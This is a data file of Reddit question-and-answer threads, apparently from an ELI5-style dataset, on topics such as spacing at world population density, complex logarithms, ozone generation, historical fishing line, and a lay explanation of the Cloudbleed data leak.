{"q_id": "3g7bca", "title": "Is this right? There's 48 people per square kilometer on earth. Does that mean if we stood at equal distance from each other we'd only have 20 meters in between us?", "selftext": "I ask because I found out the atmosphere would be a mere 8 kilometers thick if it had equal density (sea level) everywhere. If the title question is right, this is a pretty telling statistic from an environmental perspective.\n\nWe'd all have a small square of 20m^2 that's 8km tall in which we can release emissions. That's........ not a lot.\n\nEdit: Correct answer was that we'd have a 267 x 267 m (about 880 feet) square per person. Still, imagine living inside a space that big, that's 8km tall. Would you drive inside that space? I wouldn't.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3g7bca/is_this_right_theres_48_people_per_square/", "answers": {"a_id": ["ctvjt3p", "ctvoklu", "ctvpjuo", "ctvr6ym", "ctvrj7x", "ctvsezc", "ctvslrl", "ctvuw77", "ctvxz7d", "ctw1al0", "ctw49x3"], "score": [856, 18, 2, 223, 31, 3, 6, 6, 7, 3, 2], "text": ["Let's fact check really quick. There are 7 billion people on earth, and the earth has a radius of 6400 km - which corresponds to a surface area of 5.1x10^14 m^2\n\nThis means there is about 0.028 square miles per person, so that's 0.073 square km per person. This is about 14 people per square kilometer. Of course, most of that area is water - if you account for the fact the oceans cover about 3/4 of the planet, this number is closer to the 48 figure you described. \n\nAnyway, sqrt(0.073 km^(2)) = 270 meters. So we'd each have a square plot 270 meters on a side if we were uniformly distributed over the earth's surface area. If we were uniformly distributed over earth's *land,* then there's about 1/4th as much area, so we each have a box about 135 meters on a side. \n\nIf you use a more accurate number for the world population or if you hold onto a few more decimal places for the radius/area, you can probably change this number by about 10%. ", "I know that several people have already done some calculations but I had to do it for myself:\n\nMean radius of the earth: 6,371 kilometers\n\nSurface area of a sphere: A = 4(pi)r^2\n\nSurface area of an earth sized sphere: 4 X pi X 6371^2 = 510,064,041 square kilometers\n\n1,000,000 square meters per square kilometer.\n\nSurface area: 510,064,041,000,000 square meters\n\n~25% of the earth is land.\n\nLand area: 127,516,010,250,000 square meters\n\n8,000,000,000 people on earth.\n\n127,516,010,250,000 / 8,000,000,000 = 15,940 square meters per person\n\nRadius given the circle area: r = sqrt(A/pi)\n\nsqrt(15940 / 3.14) = 71.25 meters\n\nDouble that, (your radius plus my radius): **everyone would be 142.5 meters apart**", "There is indeed [48 people per km^2](_URL_0_), which gives each person a box [145 m on each side](_URL_1_). You'd have ~~290~~ 145 m between each person.", "Another perspective is that we would all fit in to a 1km cube.\n\n[Average volume of a human = 66l](_URL_0_)\n\nDouble that to allow for variation etc = 132l = .132 m^3\n\nSo 7.5 humans to the cubic meter. 1km cube = 1 billion m^3. So, 7.5 billion people would fit in a 1km cube.", "Remember that a square kilometer is a space 1km in width and 1km in length. Your 20 meter number assumes that this 1 km^2 is divided into 48 1-km long sections. so it would be 20m wide, 1 km long sections for everyone. 20,000 m^2 per person, or a 141 m x 141 m box for everybody if they were square sections. Assuming what you said initially was correct.", "Where did you get the 267 x 267m no. from?\n\n\nIf population density is 48/km^2 .\nThen Each person has an area:- 1 km^2 /48 = \n1000m x 1000m /48\nWhich is 20833.33m^2 per person.\nIf each such area is square then its length is 20833.33^(1/2)=144.34m\n\nOR If you what to do it the your way , we have to find person/km first:-\n48 person per 1 km^2. \nLet no of person per 1 km length be N.\nTotal no of person per area of 1 km^2 will be N^2.\nSo N^2 = 48 \n. So N=6.93\nSo gap between 2 person is 1000m/6.93= 144.34m", " > 48 people per square kilometer\n\nIf you lined up 48 people along a distance of 1 km, there would be only 20m between each person. But one square kilometer is an area that is 1km x 1 km large, not just that one line. You would have 20 m to your left and to your right, but 1 km in front and in the back of you.", "Most of those billions are in India and China alone. \nIt breaks my heart when I visit India. People living top of each other. There are less and less trees. When I was young in the 80s -- atleast you saw some trees around ... Now there are no trees on the side of the roads. Animals like pigs, dogs or even peacock have no place to go. ", "Re your edit, that is really quite a lot of space, a square acre is 208.7 x 208.7, this gives 17.77 (repeating of course) acres per person. There are wildly differing family sizes from what I can find, but let's just guess at 2 parents and 3 kids on average worldwide. If these 5 person groups join their land together we get 88.88 (repeating, again, of course) acres per average family, which would put each group over a mile a part. This is certainly a sustainable amount of space.\n\nAlso remember in regards to your 8km high that we are living on basically the pointy end of a funnel, the diameter of the atmosphere is substantially larger that here on the surface so as far as emissions are concerned you have a lot more than just 8km of space above you.", "So, based on the info provided in this thread, you should imagine yourself to live on a 146 m x 146 m island in the middle of a 270 m x 270 m pond. The pond is surrounded by 8500 m high walls topped by a ceiling. This huge hall is filled with air with a density of earth's atmosphere at sea level, and receives daily light cycles just like earth.\n\nLiving alone in this hall, would you utilize a combustion engine and burn fossil fuels? \n\nI think I would, given the photosynthesis happening due to the vegetation on my island and due to the algae in the 3700 m (!) deep pond surrounding my little island.\n", " >  There's 48 people per square kilometer on earth. Does that mean if we stood at equal distance from each other we'd only have 20 meters in between us?\n\n20 metres is (approximately) how much distance there would be between 48 people standing, evenly spaced, in one *kilometre*, i.e. all standing on a straight line 1 km long. \n\nIt's not the same as the distance there would be between 48 people standing, evenly spaced, in a *square* kilometre."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.wolframalpha.com/input/?i=world+population+%2F+world+land+area", "https://www.wolframalpha.com/input/?i=sqrt%28world+land+area%2Fworld+population+in+m^2%29"], ["http://www.wolframalpha.com/input/?i=volume+of+a+human"], [], [], [], [], [], [], []]}
{"q_id": "3axfy1", "title": "why is stone more durable than many modern metals?", "selftext": "In particular ancient buildings like the pyramids or Stonehenge that have lasted thousands of years. When compared with modern buildings made from metal that would rust and deteriorate faster than stone. Metal however seems to be stronger at cutting into stone than the other way around, but metal doesn't have the same durability. Why is that? \n\nSidenote: Why aren't the foundations of more modern buildings made of stone? Is it too heavy and/or expensive?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3axfy1/eli5_why_is_stone_more_durable_than_many_modern/", "answers": {"a_id": ["csgulpk", "csgvq8s", "csgw8n9", "csgweaq"], "score": [25, 5, 7, 5], "text": ["It all revolves around the chemical composition of stone and metal. Regular, average stone is pretty nonreactive, while most metals can react with quite a few elements to cause decay, like rust, causing them to decay much faster than stone despite being stronger. Hope I answered your question!", "Architect here. Actually, many foundations of modern buildings are made out of \"stone\". The fact is that's difficult to bury big pieces of rock into the soil, so we've learn to 'modify' stones so they become somehow liquid for a while so we can pour it into big holes in the ground and then they become solid  again when they get dry (that's what we call 'concrete', and that's what modern foundations and many structures are made of).\n\nI simplified it a lot to make it more ELI5.\n\nTL;DR: Modern concrete is the new stone.", "Stone is basically oxidised metals in a matrix. There's not much left to react with (especially) air and water that comes into contact with it. So, stone is not subject to much further oxidation, whereas metals are.", "Ancient stone buildings are just huge piles of stone. There's very little empty space, they're mostly solid stone.\n\nModern metal buildings are designed knowing exactly how strong it needs to be to stand up, but not too much stronger, because that would cost too much. Modern buildings are mostly empty space.\n\nAlso, as other comments have said, stone isn't as reactive as metal. So, even if you had a structure that was just a huge pile of metal, it would still react with the air to rust, where the stone just sits there and is stone. \n\nAs far as metal cutting stone goes, there's a couple ways to go about that:\n \nIf you're talking a metal saw cutting stone, those generally have some sort of abrasive added to the metal blade, which is usually a different type of stone. Diamond blades are an example of this. Tiny super-hard diamond particles are glued to the blade, and they do the actual cutting.\n\nIf you're looking at metal tools chipping/cutting stone, that's an issue of hardness. Just like you can use harder rocks to chip pieces off of softer rocks, iron/steel is significantly harder than most rocks, and can therefore chip in to them if you hit the rock with the metal tool.  \n\nAnd finally, to your sidenote, as another commenter pointed out, concrete is essentially the same thing as a stone foundation, only better. Concrete can be custom batched for several different features, including compressive strength via admixtures, weight per volume by changing the aggregate used from lighter weight stones to foundry slag, and additional shear and tensile strength thru metal reinforcement. Concrete can be put anywhere you want it and be whatever size you need, and since it's poured as a liquid suspension, it takes the shape of whatever hole you put it in. It's like stone, only better in every way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2r0exw", "title": "Is the image of people with Pitchforks and Torches based in any sort of historic fact?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2r0exw/is_the_image_of_people_with_pitchforks_and/", "answers": {"a_id": ["cnbhiil", "cnbn386"], "score": [72, 67], "text": ["Followup question, does it have anything to do with the peasant revolts?", "Is it based mostly on Frankenstein, or was the trope already prevalent then?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8q1aq3", "title": "For Native American tribes that allied with the British in the War of 1812, what was their diplomatic relationship with the UK? How did this change after the war was over for those that were under US control?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8q1aq3/for_native_american_tribes_that_allied_with_the/", "answers": {"a_id": ["e0ftstr"], "score": [16], "text": ["The most prolific type of relationship between native groups and the British (or Americans or French or Spanish or any other regional European power) was one of trade. Trade was much more multifaceted than strictly exchanging goods; it was a measure of relationships, of social esteem and political power, it fostered and maintained alliances, created kinship ties, broke down language barriers, and generally allowed each different group to get to know, and trust, the other.\n\nBy the War of 1812, the relationship between the British and the Great Lakes native nations was complicated. A couple of decades before, during and after the \"Northwest Indian War\" waged by the United States against the Wabash Confederacy (a loose coalition of Great Lakes and midwest groups headed by the Shawnee), the British had promised material and political support for the Confederacy against the US, but reneged on their promises when it looked likely that a shooting war might develop between Britain and the US. This fractured the alliances that had formed in part due to the War for Independence, when again the vast majority of Old Northwest groups allied with the British against the United States.\n\nThis fracture had never quite healed, but relationships of trade and diplomacy remained. On the US side, Detroit and Mackinac were hubs of diplomatic efforts, trade, councils, and treaty annuity distribution, and forts Malden and St. Joseph were the British counterparts. Due to the often convoluted history of formal and informal agreements between the two powers, payments of goods, tools, weapons (and their subsequent maintenance), and cash were distributed through Indian Agents at these locations, and it was quite common for some tribes to dip in and out of both powers' pockets.\n\nThey managed this mostly because British support, even though it was often tepid and ineffectual, meant that there was no particular monopoly of political and military power in the region. Natives could play both groups against the other, promising support or trade or kinship to one while threatening that if their desires weren't met, they would take their business elsewhere.\n\nA ton of importance rested on the government representatives for the US and Britain in the form of Indian Agents. It was their force of personality that could make a difference between firm support or empty promises, and it was their ability to persuade, cajole, promise and support native groups that would mean the difference between a group of native warriors staying at home when the shooting started, or showing up and fighting.\n\nThese relationships were necessarily far more informal than that of, say, John Quincy Adams and the Russian government. Power among native groups was far more distributed and far more fluid than European governments, which meant that agreements on paper would not often be maintained as consistently, and this meant that the diplomatic relationship between regional European powers and the native powers was hard to assess.\n\nSo by the time the War of 1812 started, no one was quite sure of the amount and quality of support that the natives would extend to the British. Though the historiography often represents the Indian choice as an easy one - the British were fairly objectively less intrusive and land-hungry than the Americans - it was left to individual chiefs and prominent warriors and leaders to choose their relationship, or to stay neutral.\n\nA few hundred natives made a massive difference in the early part of the War of 1812, with victories at Mackinac, Detroit, Fort Dearborn, and the River Raisin accomplished mostly because of efforts of Native support, which demonstrates how crucial the relationship could be.\n\nThe rest of the war is beyond the scope of this (already too long) post, but suffice to say that Native support continued with some enthusiasm for the duration of the war, despite losses of prominent leaders like Tecumseh.\n\nIn the end, the British pulled support for Native efforts off the diplomatic table to end the war. It had been a sticking point for the American diplomatic efforts, and the British essentially felt that it was too much trouble, and supporting Natives was too likely to pull the British into a war they didn't want to fight. Early promises of support for a neutral Native nation in the Great Lakes region, for political and military support after the war, dried up, and the British no longer interfered in the relationship between the US and the Native population afterward.\n\nThe War of 1812 broke the push-and-pull political dynamic that had dominated Indian relationships with Europeans since the first establishment of colonies. It meant that the sole power in determining Native relationships was the United States, and this immediately manifested in a much more uneven power dynamic than had been there before. The increasing monopolization of the fur trade by American companies in the 1820s and 30s and the eventual collapse of the trade as a meaningful political bargaining chip among Native groups eroded their power base and eased the way toward the removal policies that most American presidents favored.\n\nThere was also a change from dealing with chiefs as representatives of certain groups to dealing with American-defined \"nations.\" For instance, the Odawa people had, in treaties prior to the War of 1812, been referred to by their group names in general and to the particular individuals who signed agreements in specific, to a more general reference to \"The Ottawa Nation.\" Other tribal groups and bands were similarly clustered into \"nations\" that the US dealt with diplomatically. Though prominent individuals still played a role in the diplomatic relationship with the United States, the key feature was that any agreement made by any chief related to the \"Ottawa Nation\" was considered a binding contract for *all* of them. It was a subtle change, but an important one. Imagine a changing relationship at a workplace where you had gone from a part owner to a holder of stock, for instance: in many ways the same, in other ways your power was vastly reduced.\n\nOne point I'd like to make before I stop rambling: it is common to talk of Natives as being under \"control\" of European powers, but I would argue that, especially prior to the War of 1812, there was a much more give-and-take relationship and interdependence between Native powers and European ones. Richard White's \"Middle Ground\" argues this exceptionally well - European power could not be manifested as powerfully on the periphery of their influence as it could at the core, and this played into the complicated reputation networks of Native groups in a way that further diffused European power. The Great Lakes region was one of the areas where this manifested most intensely.\n\n_______________________\nObviously Richard White's *The Middle Ground* is where you want to start reading. For a more general history of Native Americcan politics and economy, check out *Facing East from Indian Country* by Daniel Richter. \n\nMuch more about the War of 1812 I'd say the best single work is John Sugden's *Tecumseh's Last Stand*. it focuses more on Tecumseh and the Thames campaign than anything else, but has a great survey of Indian diplomacy and military support for the British throughout the war.\n\nI am of course open for follow-up questions, if you have them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9vaf2x", "title": "since we know how ozone is created, would we be able to artificially fill up the sky with it ourselves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vaf2x/eli5_since_we_know_how_ozone_is_created_would_we/", "answers": {"a_id": ["e9ajv10", "e9ajwy2", "e9amh5c", "e9amnhm", "e9an5l6"], "score": [18, 3, 2, 9, 11], "text": ["Several things here.\n\nFirstly ozone is actually constantly being created and destroyed various chemicals in the atmosphere mean that the ozone levels can be lower than they should be.\n\nSecondly ozone is actually an environmental pollutant at ground level and is extremely toxic to humans.\n\nSo you would need to produce the ozone high up in the air , questions about how you would do this and who would pay for it then arise.\n\nFor more on ozone and the ozone layer - _URL_0_", "I used to say that quite often.   \"If the Ozone hole gets bad enough, the United Nations will just build a giant solar powered laser printer and stick it in the North Pole and just let it churn out Ozone forever\" which was sort of a joke, but sort of true. \n\n\nI'm sure if needed we could probably design something like that.  \n\nBet you didn't know that laser printers put out Ozone, did you?", "In theory, yes.  Given enough money and resources we could generate ozone at the correct altitude.  Whether it's actually feasible to manually seed ozone faster than CFCs can degrade it is another question.\n\nWe already generate too much ozone at ground level, where it gets busy destroying rubber and plastic instead of being useful.  Ozone gas is quite corrosive.", "Ozone is created at the top layers of the atmosphere when high energy particles hit the oxygen molecules up there.  We released some chemicals that were destroying the ozone faster than it was produced.  We stopped, and it will fix itself if we do nothing.\n\nThis is only OK at very high levels in the atmosphere, ozone in the part of the atmosphere we breathe would be very bad, so \"filling it up\" isn't a good idea.", "On average, there's around 2.4 x 10^18 grams of ozone in the atmosphere.  It fluctuates with the seasons.\n\nA high-powered industrial ozone generator, being fed air, can produce 1500 grams of ozone per hour, at a cost of 15 kilowatts.\nAssuming that power consumption is our only cost, and assuming $0.12 per kWh, it would cost us around $2,000,000,000,000 - 2 trillion dollars - to increase the ozone in the atmosphere by 1%.\n\nIt would also take 1,826,000,000 years for a single generator to achieve this 1% increase.  Assuming we want to do it within 100 years, we'd need to buy and deploy 1,826,000 generators.  These generators cost 6 figures each.  Even if we ignore the cost of deploying ozone generators high into the atmosphere, just buying the equipment would be hundreds of billions of dollars."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/CYVzcZbhxxs"], [], [], [], []]}
{"q_id": "2fnllc", "title": "Can logarithms have imaginary bases? And is log(i) defined?", "selftext": "I understand that e^(ix) = **i** sin(x) + cos(x). But can we go the other way and take the logarithm of imaginary numbers?\n\nEDIT: Thanks for the responses! (And I switched the \"i\" from \"cos(x)\" to \"sin(x)\"", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fnllc/can_logarithms_have_imaginary_bases_and_is_logi/", "answers": {"a_id": ["ckb07pk", "ckb0owc", "ckb2ipy", "ckb2qj0"], "score": [19, 4, 5, 5], "text": ["Start with that identity, but remember the i goes on the sinx, not cosx. Let x=\u03c0/2 . Then e^(i\u03c0/2) = i. Then log both sides: (i\u03c0/2)log(e) = log(i). Then all normal log laws apply.\n\nAs for imaginary bases, remember that if a^x = b, log^a (b) = x. So if you have log^i (p) = q, that means i^q = p. Then i^q = e^qlni = e^qi\u03c0/2 = cos(q\u03c0/2) + isin(q\u03c0/2) = p.", "[Sure you can](_URL_0_). It's a multivalued function though, so you'll often want to select a 'branch' to output.", "You sure can.\n\nRecall that complex numbers can be written in the way you have shown:\n\ne^ix = cos(x) +i sin(x)\n\nIn general, any complex number z=a +bi can be written as\n\nz=|z|e^ix  where |z|^2 =a^2 + b^2 and x=Arctan(b/a)\n\nTake the logarithm of z and use the property that log(zw)=log(z)+log(w)\n\nlog(z)=log(|z|e^ix )=log(|z|) +log(e^ix)\n\nSo log(z)=log(|z|) + ix\n\nAs many have said before, complex log is a multivalued function, so you must select what branch you want.", "Fun fact about complex exponents/logarithms: You can think of them as converting back and forth between Cartesian and Polar coordinate systems of the complex plane. \n\nIf you have an imaginary number *z* on the complex plane, there are two ways of describing it. The first is your friendly Cartesian coordinates: *z*=a+bi, where a is the distance along the real (x) axis, and b is the distance along the imaginary (y) axis. The other way is polar coordinates: *z*=Re^io (o stands in for theta), where R is the magnitude (distance from 0), and theta is the angle up from the x-axis you have to point to get to *z*. You can show these are the same by subbing in the formula for e^ix that you included in your post.\n\nIf you have a complex number *z*=a+bi, and you take its exponent, the answer is very easy to express in polar terms e^*z* = Re^io. R = e^a and theta = b. Similarly, if you express your number in polar terms *z*=Re^io then the logarithm is very to express as Cartesian coordinates. Log *z* = a+bi, where a = Log R, and b = theta.\n\nThings get complicated because even if *z* != *w*, it's still possible that e^*z* = e^*w* (if *z*-*w* is an integer multiple of 2pi). This means that complex exponentiation is not *invertible*. This is a problem because we're used to thinking of the logarithm as the inverse of the exponent, and if the exponent doesn't have an inverse then what the hell is the logarithm. This is the sort of things that engineers but mathematicians don't.\n\nResolving this issue is kind of a pain in the ass, and involves a technique called \"branch cuts.\" Basically, the exponent < - > logarithm operation is well-defined if the number being exponentiated is restricted to a 'strip' of the complex plane that is infinite in both real directions, but only 2pi wide in the imaginary direction. The full complex plane is composed of an infinite sequence of these 'strips.' Under exponentiation, each 'strip' gets mapped to its own entire copy of the complex plane, and these are cut-and-pasted together in a mathematical way so that a line that crosses multiple strips gets mapped to a spiral thingy that seamlessly crosses from one complex plane to another. Meanwhile, if you take a logarithm of a complex number you have to identify which complex plane in the multiverse they start from, and that allows them to map unique and invertibly back to the one complex plane on the other side."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Complex_logarithm"], [], []]}
{"q_id": "25nx2m", "title": "I listen to music at 5/10 volume. Outside, this sounds very quiet, but inside alone it sounds very loud. Even though it is the same volume, does it affect my hearing differently at all? Can this perceived difference in volume cause any damage?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25nx2m/i_listen_to_music_at_510_volume_outside_this/", "answers": {"a_id": ["chjety1"], "score": [3], "text": ["Of course it can.  The difference is not *perceived* at all.  Volume, or \"Sound pressure\", is measured in dB or RMS, not the numbers on your dial.  Those numbers merely represent how much your stereo amplifier is allowed to operate, based on its own internal wattage and fidelity specs.\n\nIt is NOT the same \"volume\" indoors, much the same as placing your ear right near the speaker is the same \"volume\" as listening to it from down a long hallway.  \n\nIt's louder inside because the sound reflects off the walls and features of the room - therefore what you are hearing is multiplied in various ways based on the dynamics of your room.  That energy has to go *somewhere*.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aaxsfk", "title": "What did people use as fishing line in the 1840s?", "selftext": "I was rereading Tom Sawyer the other day and Tom trades a fish hook to another boy for something. What would they have used as line in that age?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aaxsfk/what_did_people_use_as_fishing_line_in_the_1840s/", "answers": {"a_id": ["ecyy9x9"], "score": [3], "text": ["Fishing with hook and line is ancient, at least 4-7 thousand years old. This is evident from bone fishhooks found in archaeological sites in both the old and new worlds. Fishing with a variety of methods including hook and line is depicted in Egyptian tombs dating to 4000 years ago. Modern fishing is documented by the late 17th century. There were a variety of materials being used for leaders including gut, braided horsehair and braided silk. Thomas Barker in 1667 mentions a salmon-fishing line of 26 yards suggesting that the organic materials could be wound or braided to extend a considerable distance. That they were being used for salmon fishing suggests considerable durability. A photograph of George Washington's  fishing kit is in the Library of Congress [here](_URL_1_:). His kit included horsehair and silk lines. Gut, silk and braided horsehair in various combinations persisted to the mid 20th century when artificial materials like nylon, dacron and polyethylene were developed.\n  \nIzaak Walton, The Compleat Angler (1653)\n\nThomas Barker, The Art of Angling Augmented (1664) \n\n[New World Encyclopedia](_URL_0_)\n\n[The History of Fishing with Hook and Line](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.newworldencyclopedia.org/entry/Fishing_line", "https://www.google.com/search?q=george+washington+fishing+kit+library+of+congress&amp;safe=off&amp;rlz=1C5CHFA_enUS823US823&amp;tbm=isch&amp;source=iu&amp;ictx=1&amp;fir=d7_yWWvngRduFM%253A%252C4KIkboux03CdDM%252C_&amp;usg=AI4_-kSYMjUvXuay3Pcx8xDsV2Fl-IDxVQ&amp;sa=X&amp;ved=2ahUKEwi3177Z_8rfAhUBHzQIHdpZDOoQ9QEwAHoECAQQBA#imgrc=d7_yWWvngRduFM", "http://www.anglerwise.com/2010/05/18/the-history-of-fishing-with-hook-and-line/"]]}
{"q_id": "18qyv3", "title": "why does it sometimes hurt my ear when i chew?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18qyv3/eli5_why_does_it_sometimes_hurt_my_ear_when_i_chew/", "answers": {"a_id": ["c8h6tb0"], "score": [3], "text": ["You might have TMJ\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Temporomandibular_joint_disorder"]]}
{"q_id": "3naa7v", "title": "Does any animal eat mushrooms as it's primary food niche?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3naa7v/does_any_animal_eat_mushrooms_as_its_primary_food/", "answers": {"a_id": ["cvmay7p", "cvmh2pr", "cvmuizu"], "score": [28, 6, 2], "text": ["Yes!\n\n_URL_1_\n\nProbably the most complex organizational fungivore are leafcutter ants, [which cultivate them](_URL_0_) on the plant cuttings they make. However, they are fungivorous only as larvae.", "There are several species of Drosophila that are mycophagous within the immigrans-tripunctata lineage. Both the adults and larvae feed on mushrooms. However, the adults can be attracted to fermenting fruit traps. These species are best known becuase, the  larvae, which feed on a broad range of mushrooms, can successfully feed on and develop on Amanita mushrooms. This includes the deadly toxic Destroying Angel and Deathcap mushrooms. They represent a limited number of eukaryotes (possibly the only ones) that can do this.\n\nGeneral Feeding Behaviors and their Phylogenetic Placement:\n[Morales-Hojas  &  Vieira 2012](_URL_2_)\n\nFirst paper to identify tolerance to toxins in Amanita mushrooms:\n[Jaenike et al. 1983. \u03b1-Amanitin Tolerance in Mycophagous Drosophila. Science 221: 165-167.](_URL_0_)\n\nFurther examination of tolerance:\n[Stump et al. 2011. Distribution and Mechanism of \u03b1-Amanitin Tolerance in Mycophagous Drosophila (Diptera: Drosophilidae). Environmental Entomology](_URL_1_)\n\nUnfortunately the last two are behind a pay-wall.", "Leafcutter ants through a tritrophic interaction. They feed the mushroom within their nest using leaf bits. They then eat the product of the mushroom. There is mutualistic interaction between the ants and the mushroom in that they depend on one another to thrive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Leafcutter_ant", "https://en.m.wikipedia.org/wiki/Fungivore"], ["http://www.sciencemag.org/content/221/4606/165.abstract", "http://ee.oxfordjournals.org/content/40/6/1604", "http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0049552"], []]}
{"q_id": "5vwhel", "title": "what did cloudbleed take or break, and how is it used maliciously?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vwhel/eli5_what_did_cloudbleed_take_or_break_and_how_is/", "answers": {"a_id": ["de5ftw6", "de6ztn0"], "score": [3, 3], "text": ["For some domains (for example _URL_1_) Cloudflare sits between you and the actual website. This way they can prevent websites from attacks and also make sure the website loads fast on your laptop, because they always have a server nearby.\n\nThe problem is that Cloudflare made a mistake in their code, which meant that private communication that should have stayed between you and the website you were visiting was shown to others. This only happened with a small percentage of traffic to Cloudflare, but since it is used so much, it could leak private information of up to 200.000 requests per day.\n\nThis private information was shown to random other people connecting to Cloudflare, also to crawlers from searchengines like google. Crawlers store what they find on the internet so people can search through it. And that is how they found out. A guy at Google noticed all this private info and notified Cloudflare. Cloudflare fixed the problem in a few hours.\n\nEven though the leak is fixed you should still change your passwords, because Cloudflare was leaking for more than 5 months and searchengines or other people may have stored your password and other private that you've sent to these compromised websites.\n\n~~By the way: _URL_0_ wasn't effected. So you only need to change that if you used it's password elsewhere. In which case you should change it, never re-use passwords.~~\n\nReddit _has_ used Cloudflare until October 2016, so it is recommended to also change your Reddit password.", "I have a basic understanding of the interworkings of this, but I do want to preface this by saying that I am no expert, this is not my field of expertise, etc. The following is how I understand it, and I welcome anyone to correct me where I am wrong. This is also as best of a ELI5 I can give, so will be oversimplifying some aspects.\n\nHere is how I understand it:\n\nLet's say I am running a server (point C) that serves my website, not using cloudflare, and I have my own tls certificate that encrypts communication between it and you (point A). Anyone snooping on you only sees gibberish that only my server knows how to decrypt, use, and then send back the encrypted response that still looks like gibberish to anyone snooping, but now you know how to decrypt and use.\n\nIt's a direct connection between point A and C.\n\nNow down the road I decide to start using cloudflare, which becomes point B, and uses their own encryption certificate, and also adds an extra layer of caching. For the caching side, you request a page from my site, my server does all the computations to figure out what should be sent back, and then sends it. The next 50 people after you are trying to access the same page, so instead of my server doing the same computations 50 more times to send it back to each of those people, cloudflare saves what it sent to you, and then sends that same thing to them instead of asking my server to do the work.\n\nSo when you made your first request to my server, instead of calling it directly from point A to point C, and using my servers tls certificate to encrypt our communication, you are now calling from point A to point B using cloudflare's tls certificate. Being that cloudflare's and my server's encryption keys are different, cloudflair can't just volley that information to my server. Cloudflair has to decrypt what you sent it, and then use my server's tls certificate to encrypt communication between point B and point C.\n\nAll in all, should work great right? All communication is still gibberish no matter where someone is trying to intercept it. A to B is encrypted, B to C is encrypted, and the same on the way back from C to B to A.\n\nThe problem is when that after that encrypted communication from A to B is sent, B (Cloudflare) has to decrypt it and then it gets encrypted again using a different cert to go from B to C. While it's at B after being decrypted and in plain text, it is stored in B's memory. Well B's memory was leaking out like a water sprinkler. B isn't only caching my site, but hundreds of thousand other sites, ready to send it back to all of the other users asking for websites that are using cloudflare. So that sensitive information that you knew was encrypted, and sent to my site proxied through cloudflare, is now leaking into the cached pages being sent back to everyone else.\n\nThis data doesn't just appear somewhere on the page inside of the browser, so the person looking at the page has no idea that they were just given this information they didn't ask for. But if you go digging through the raw data that was sent, then you can see it if you know what you are looking for. This in itself is already a security risk, then you have web crawlers.\n\nSearch engines, like Google, send \"robots\" to look through your pages and cache the data on their end. This is how you can see a snippet of a website's content in googles search results page right below the link to go there. Well google actually caches the entire data of the page, so if your sensitive data that you sent to my server was then water sprinkled on all of these other pages cached at cloudflare's level, and google's robot crawler was then sent that data and cached it on googles end, anyone can see it by looking at google's cached version of that data.\n\nThe scary part of this all is that there is no way of telling who was sent the cached versions of other sites that your information was water sprinkled onto. There is no way of knowing how many web crawlers there are out there, who owns them, whether they still have all of that data saved somewhere that they can now go back and analyze since this has been made public, even after cloudflare fixed the issue to plug the water sprinkler. This is why, especially for the ones that use the same password for everything, you need to change passwords for anything and everything related with the internet. This really is no joke, is probably the biggest security hole in the history of the internet, and should not be taken lightly.\n\nThe water has already been sprayed and the sprinkler can't suck it back in, all anyone can do is hope their information has evaporated before someone has the chance to play in it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["reddit.com", "uber.com"], []]}
{"q_id": "13lv88", "title": "Were there any informants in the Polish Catholic Church during the Communist period?", "selftext": "It was a scandal when it was revealed that Archbishop Paskai in Hungary had been an informant in his younger years, and it seems like, given that upwards of 300,000 people had been informants at some point, there were likely other clergy members who had participated.\n\nGiven that the Catholic Church of Poland, especially after JPII was elected in 1978, was such a strong non-Communist organisation, I'd be interested to know if it has been revealed at some point via the fitful existence of Poland's lustration law that members of the Church had been informants.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13lv88/were_there_any_informants_in_the_polish_catholic/", "answers": {"a_id": ["c755xyp"], "score": [5], "text": ["Of course, it would be very stupid of Polish communists not to infiltrate Churches. I said \"Churches\" as not only Catholic Church was infiltrated, but also Orthodox and Protestant Churches.\n\nThe most famous case of being informant was Archbishop Stanis\u0142aw Wielgus who was rumoured to inform Communists against his Church. These rumours ended his career in Catholic Church. I have been never interested in lustration but communist secret agencies documents show that a lot of priests were informants. Of course, every case is different, some did it for money, some for unavailable services and some were desperate to have government agreement/support on crucial things. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
